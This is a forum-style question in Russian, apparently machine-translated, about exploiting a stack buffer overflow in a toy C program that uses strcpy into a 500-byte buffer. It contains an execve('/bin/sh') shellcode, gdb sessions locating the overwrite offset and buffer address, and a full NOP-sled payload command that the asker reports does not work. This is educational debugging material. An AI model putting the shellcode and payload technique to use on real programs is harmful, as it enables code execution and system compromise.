Примечание: это только для образовательных целей.
Ниже приведены элементы эксплойта.
Сценарий:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[500];
printf ("Input> ");
strcpy(buf, argv[1]);
printf("Entered: %s\n", buf);
return 0;
}
Шеллкод:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
что составляет 46 байт
GCC: gcc -fno-stack-protector buf.c
тип системы: архитектура с прямым порядком байтов, 64-битная архитектура.
Объяснение
Полагаю, нам нужно 526 байт для использования буфера. Как я понял, вы спросите? ниже:
$ gdb -q ./a.out
(gdb) run ./a.out $(python -c "print 'A'*526")
Starting program: /tmp/guest-hdi3i7/a.out ./a.out $(python -c "print
'A'*526")
Input> Entered: ./a.out
[Inferior 1 (process 7045) exited normally]
(gdb) run $(python -c "print 'A'*526")
Starting program: /tmp/guest-hdi3i7/a.out $(python -c "print 'A'*526")
Input> Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
начало буфера в стеке 0x7fffffffd860
. как я это выяснил?
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400566 <+0>: push %rbp
0x0000000000400567 <+1>: mov %rsp,%rbp
0x000000000040056a <+4>: sub $0x210,%rsp
0x0000000000400571 <+11>: mov %edi,-0x204(%rbp)
0x0000000000400577 <+17>: mov %rsi,-0x210(%rbp)
0x000000000040057e <+24>: mov $0x400654,%edi
0x0000000000400583 <+29>: mov $0x0,%eax
0x0000000000400588 <+34>: callq 0x400440 <printf@plt>
0x000000000040058d <+39>: mov -0x210(%rbp),%rax
0x0000000000400594 <+46>: add $0x8,%rax
0x0000000000400598 <+50>: mov (%rax),%rdx
0x000000000040059b <+53>: lea -0x200(%rbp),%rax
0x00000000004005a2 <+60>: mov %rdx,%rsi
0x00000000004005a5 <+63>: mov %rax,%rdi
0x00000000004005a8 <+66>: callq 0x400430 <strcpy@plt>
0x00000000004005ad <+71>: lea -0x200(%rbp),%rax
0x00000000004005b4 <+78>: mov %rax,%rsi
0x00000000004005b7 <+81>: mov $0x40065c,%edi
0x00000000004005bc <+86>: mov $0x0,%eax
0x00000000004005c1 <+91>: callq 0x400440 <printf@plt>
0x00000000004005c6 <+96>: mov $0x0,%eax
0x00000000004005cb <+101>: leaveq
---Type <return> to continue, or q <return> to quit---
0x00000000004005cc <+102>: retq
End of assembler dump.
и затем:
(gdb) break *0x00000000004005b7
(gdb) run $(python -c "print 'A'*526")
(gdb) x/200x $rsp
0x7fffffffd850: 0xffffdb48 0x00007fff 0x01958ac0 0x00000002
0x7fffffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffd8b0: 0x41414141 0x41414141 0x41414141 0x41414141
$ rbp также заменяется:
(gdb) x/x $rbp
0x7fffffffda60: 0x41414141
Наконец, подвиг:
, поэтому 46-байтовый шелл-код + 474 из NOP + 6 байт стекового адреса = 526, как показано ниже, должны работать правильно? ну, это не так, по крайней мере для меня.
(gdb) run $(python -c "print '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x90'*474+'\x60\xd8\xff\xff\xff\x7f'")
с приведенным выше I получить:
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/guest-hdi3i7/a.out $(python -c "print '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x90'*474+'\x60\xd8\xff\xff\xff\x7f'")
Input> Entered: 1��F1�1�̀�[1��C��C
�
��S
�����/bin/sh������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������`����
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffd860 in ?? ()
Есть что-то, чего мне не хватает?